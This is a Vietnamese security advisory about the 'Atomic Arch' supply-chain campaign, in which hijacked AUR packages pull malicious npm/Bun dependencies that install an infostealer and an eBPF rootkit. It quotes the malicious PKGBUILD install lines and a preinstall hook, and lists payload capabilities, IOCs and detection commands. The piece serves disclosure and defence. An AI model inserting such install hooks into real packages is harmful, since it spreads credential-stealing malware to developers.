# Atomic Arch: 400+ gói AUR bị chiếm dụng để phát tán rootkit eBPF và infostealer

## Tóm tắt

Một kẻ tấn công mạo danh (spoof) maintainer đáng tin cậy trên Arch User Repository (AUR) đã "nhận nuôi" và cài mã độc vào hơn 408 gói — và theo Sonatype, con số có thể đã lên tới khoảng 1.500 gói qua nhiều đợt. Mã độc không nằm trong gói AUR mà được kéo về qua một dependency npm độc hại (`atomic-lockfile`, sau đó là `js-digest`, `lockfile-js`) trong lúc cài đặt, rồi thả xuống một payload ELF Linux vừa **đánh cắp thông tin xác thực** (GitHub, SSH, HashiCorp Vault, cookie trình duyệt, Slack, Discord, Teams, Telegram) vừa mang **khả năng rootkit eBPF** chạy trong nhân để ẩn tiến trình, file và kết nối mạng.

Đối tượng bị ảnh hưởng trực tiếp không phải người dùng phổ thông mà là **máy trạm của lập trình viên và môi trường build** — chính những nơi tập trung nhiều bí mật (token, key, credential) nhất. Vì có rootkit, một máy đã nhiễm không thể coi là "sạch" sau khi gỡ gói.

**Hành động quan trọng nhất ngay lúc này:** tạm dừng mọi cập nhật qua AUR helper (`yay`, `paru`...) và chỉ dùng `sudo pacman -Syu` cho kho chính thức cho đến khi có thông báo an toàn; đồng thời rà soát máy của lập trình viên/CI runner chạy Arch theo IOC ở cuối bài.

* * *

## Điều gì đã xảy ra

Chiến dịch — Sonatype đặt tên **Atomic Arch** — được công bố lần đầu ngày 11/06/2026 và leo thang nhanh qua ít nhất ba đợt:

| Mốc thời gian (UTC) | Diễn biến |
| --- | --- |
| 2026-06-11 | Đợt 1: PKGBUILD bị sửa thêm post-install script gọi `npm install atomic-lockfile`. Ban đầu tưởng chỉ vài chục gói. |
| 2026-06-12 | Đợt 2: dùng **Bun** thay cho npm để cài `js-digest` / `lockfile-js`. IFIN xác nhận 408+ gói. |
| 2026-06-14 ~07:00 | Đợt 3: cố che giấu (obfuscate) lệnh `bun add`, tham chiếu dependency `nextfile-js`. |
| 2026-06-15 ~15:00 | **AUR registration bị vô hiệu hóa.** |

Về quy mô, các nguồn chưa thống nhất và tôi giữ nguyên cả hai để bạn tự đánh giá: BleepingComputer và IFIN nói **"hơn 400 / 408+ gói"**, trong khi Sonatype ước tính sơ bộ chiến dịch **có thể ảnh hưởng tới khoảng 1.500 gói** qua các đợt. Con số còn thay đổi khi maintainer tiếp tục rà soát.

* * *

## Cơ chế tấn công

Điểm tinh vi nhất của Atomic Arch là nó **không lừa người dùng cài cái mới**, mà thừa kế lòng tin có sẵn. AUR cho phép bất kỳ ai "nhận nuôi" (adopt) một gói khi gói đó bị đánh dấu vô chủ (orphaned), rồi gửi thay đổi cho `PKGBUILD` — file Bash chứa hướng dẫn build của gói Arch. Kẻ tấn công tự động hóa việc săn các gói bị bỏ hoang, nhận nuôi hàng loạt, và chèn vào `PKGBUILD` một script chạy khi cài:

```bash
# Đợt 1 (npm) — post-install hook trong PKGBUILD đã bị sửa
npm install atomic-lockfile minimist chalk
 
# Đợt 2 (Bun) — chuyển sang Bun để né phát hiện
bun add js-digest
```

Gói npm độc hại lại định nghĩa một `preinstall` script trong `package.json` để thực thi binary ELF nhúng sẵn:

```json
{ "scripts": { "preinstall": "./lib/install-deps.mjs" } }
```

Hệ quả quan trọng cho phòng thủ: **bản thân gói AUR "đáng tin" không chứa mã độc**. Mã độc nằm ở dependency được kéo về lúc cài, nên các công cụ chỉ quét nội dung gói gốc sẽ bỏ sót. Đây cũng chính là kỹ thuật từng thấy trong vụ axios (chèn dependency `plain-crypto-js`).

> ⚠️ **Lỗi vận hành của kẻ tấn công:** Gói `lockfile-js` khai báo cùng `preinstall` hook như `js-digest` nhưng bản publish lại **thiếu thư mục** `lib/` được tham chiếu — Sonatype dùng chính sai sót này (cùng các artifact metadata còn sót) để liên kết đợt 2 với chiến dịch gốc.

* * *

## Phân tích payload

*Kiến trúc eBPF cho phép chương trình chạy trong nhân Linux — bị lạm dụng ở đây để ẩn tiến trình/file/kết nối. (Nguồn: ebpf.io)*

Payload là một executable ELF Linux (researcher Whanos đặt tên mẫu là `deps`) nhúng trong gói npm. Phân tích tĩnh chỉ ra bốn nhóm chức năng:

**1\. Rootkit eBPF**

Binary tham chiếu một chương trình eBPF (`scales.bpf.c`) và các API libbpf — `bpf_object__load`, `bpf_program__attach`, `bpf_map__pin`. eBPF cho phép chạy mã trong nhân Linux với đặc quyền cao. Nó hook syscall `getdents64()` (dùng để liệt kê mục trong thư mục) và duy trì các eBPF map tên `hidden_pids`, `hidden_names`, `hidden_inodes` để **ẩn tiến trình, file và inode** khỏi công cụ liệt kê thông thường.

**2\. Infostealer**

Các tham chiếu chuỗi trong binary cho thấy mục tiêu thu thập rộng, đặc trưng môi trường developer:

*   GitHub credentials, SSH artifacts, HashiCorp Vault tokens
    
*   Cơ sở dữ liệu cookie trình duyệt
    
*   Slack, Discord, Microsoft Teams, Telegram
    
*   Docker/Podman, npm, VPN material, shell histories (theo báo cáo Whanos) **3\. Chống phân tích**
    

Có logic phát hiện debugger qua `PTRACE_ATTACH` / `PTRACE_SEIZE` và dùng giao diện chẩn đoán socket `NETLINK_SOCK_DIAG` — dấu hiệu cố giảm khả năng bị quan sát và gây khó cho việc phân tích.

**4\. Exfiltration**

Binary hỗ trợ nén/đóng gói archive, xử lý multipart form-data và upload HTTP (có tham chiếu `POST /upload`) — đủ cho một cơ chế trích xuất dữ liệu điển hình.

> Đợt 2 dùng binary **khác** với `atomic-lockfile` nhưng giữ phần lớn đặc điểm (eBPF, browser artifact, credential store, Slack/Discord) — kẻ tấn công đang tiến hóa công cụ nhưng giữ nguyên mục tiêu và tradecraft.

* * *

## Attribution & lưu ý về nguồn

Một điểm cần cẩn trọng: bản báo cáo IFIN ban đầu cho rằng một tài khoản maintainer đã biết chịu trách nhiệm, **nhưng sau đó đính chính rằng tài khoản đó bị mạo danh (spoofed)** — không phải bị chiếm. Đây là khác biệt quan trọng khi quy kết. Gói npm `atomic-lockfile` do người dùng `herbsobering` đăng (Socket.dev ghi nhận 134 lượt tải); tìm username này trên GitHub dẫn tới một image container có vẻ là công cụ reverse shell/proxy. Chưa có quy kết tới nhóm APT cụ thể nào.

Về định danh lỗ hổng: Sonatype theo dõi chiến dịch dưới mã nội bộ **Sonatype-2026-003775** (đợt 1, CVSS **8.7**) và **Sonatype-2026-003808** (đợt 2). Đây là điểm CVSS do Sonatype gán, **không phải CVE chính thức từ NVD/MITRE**.

* * *

## Phát hiện & Săn lùng

**Kiểm tra gói bị nhiễm (không tải script lạ về chạy):**

```bash
# So khớp gói AUR đang cài với danh sách công khai do cộng đồng duy trì
echo "Affected Packages Found:"; \
comm -12 <(pacman -Qqm | sort) \
         <(curl -s https://cscs.pastes.sh/raw/aurvulnlist20260611.txt | sort) | \
{ read -r l && printf '%s\n' "$l" || echo "None known."; }
```

**Săn rootkit eBPF** — liệt kê eBPF map và tìm tên đáng ngờ:

```bash
sudo bpftool map list | grep -E 'hidden_pids|hidden_names|hidden_inodes'
```

**Mạng:** chặn lưu lượng **Tor outbound** khỏi mạng (khuyến nghị chung từ IFIN, áp dụng cho cả tổ chức không dùng Arch). Trong môi trường SOC, đây là một quy tắc dễ triển khai trên firewall/proxy và có giá trị phát hiện cao với nhiều họ mã độc, không riêng chiến dịch này.

**Tạm thời tránh** chạy `yay -Syu` / `paru` hay bất kỳ AUR helper nào; chỉ `sudo pacman -Syu` cho kho chính thức cho tới khi có thông báo an toàn.

* * *

## Indicators of Compromise (IOC)

| Loại | Giá trị |
| --- | --- |
| npm package (đợt 1) | `atomic-lockfile` (publisher: `herbsobering`) |
| npm package (đợt 2) | `js-digest`, `lockfile-js` |
| npm package (đợt 3, obfuscated) | `nextfile-js` |
| eBPF program ref | `scales.bpf.c` |
| eBPF map names | `hidden_pids`, `hidden_names`, `hidden_inodes` |
| Syscall bị hook | `getdents64()` |
| Tên mẫu ELF | `deps` |
| SHA256 (ELF nhúng trong `js-digest`) | `7883bda1ff15425f2dbe622c45a3ae105ddfa6175009bbf0b0cad9bf5c79b316` |
| Exfil endpoint ref | `POST /upload` |
| Tracking IDs | Sonatype-2026-003775 (CVSS 8.7), Sonatype-2026-003808 |

> Tham khảo thêm IOC chi tiết trong báo cáo phân tích của ioctl.fail (báo cáo này là single source cho phần decompile chi tiết — cân nhắc khi sử dụng).

* * *

## Khuyến nghị

*   **Coi mọi host đã cài/cập nhật gói AUR nhiễm là đã bị xâm nhập.** Gỡ gói là chưa đủ — có rootkit nghĩa là không còn cơ sở để tin tưởng hệ thống; cân nhắc cài lại Arch từ đầu.
    
*   **Rotate toàn bộ credential** trên các máy nghi nhiễm: GitHub/SSH key, Vault token, cookie phiên, token Slack/Discord/Teams.
    
*   **Tạm dừng AUR helper**, chỉ cập nhật qua `pacman` kho chính thức; ưu tiên gói có cộng đồng hoạt động và cập nhật thường xuyên.
    
*   **Chặn Tor outbound** và hunt eBPF map `hidden_*` trên toàn fleet developer/CI runner.
    

* * *

## Nguồn tham khảo

1.  BleepingComputer — [Over 400 Arch Linux packages compromised to push rootkit, infostealer](https://www.bleepingcomputer.com/news/security/over-400-arch-linux-packages-compromised-to-push-rootkit-infostealer/) (2026-06-12)
    
2.  IFIN / Independent Federated Intelligence Network — [400+ AUR Packages Compromised with Infostealer and Rootkit](https://discourse.ifin.network/t/400-aur-packages-compromised-with-infostealer-and-rootkit/577) (cập nhật 2026-06-15)
    
3.  Sonatype Security Research Team — [Atomic Arch: npm Campaign Adds Malicious Dependency](https://www.sonatype.com/blog/atomic-arch-npm-campaign-adds-malicious-dependency) (2026-06-11, cập nhật 2026-06-12)
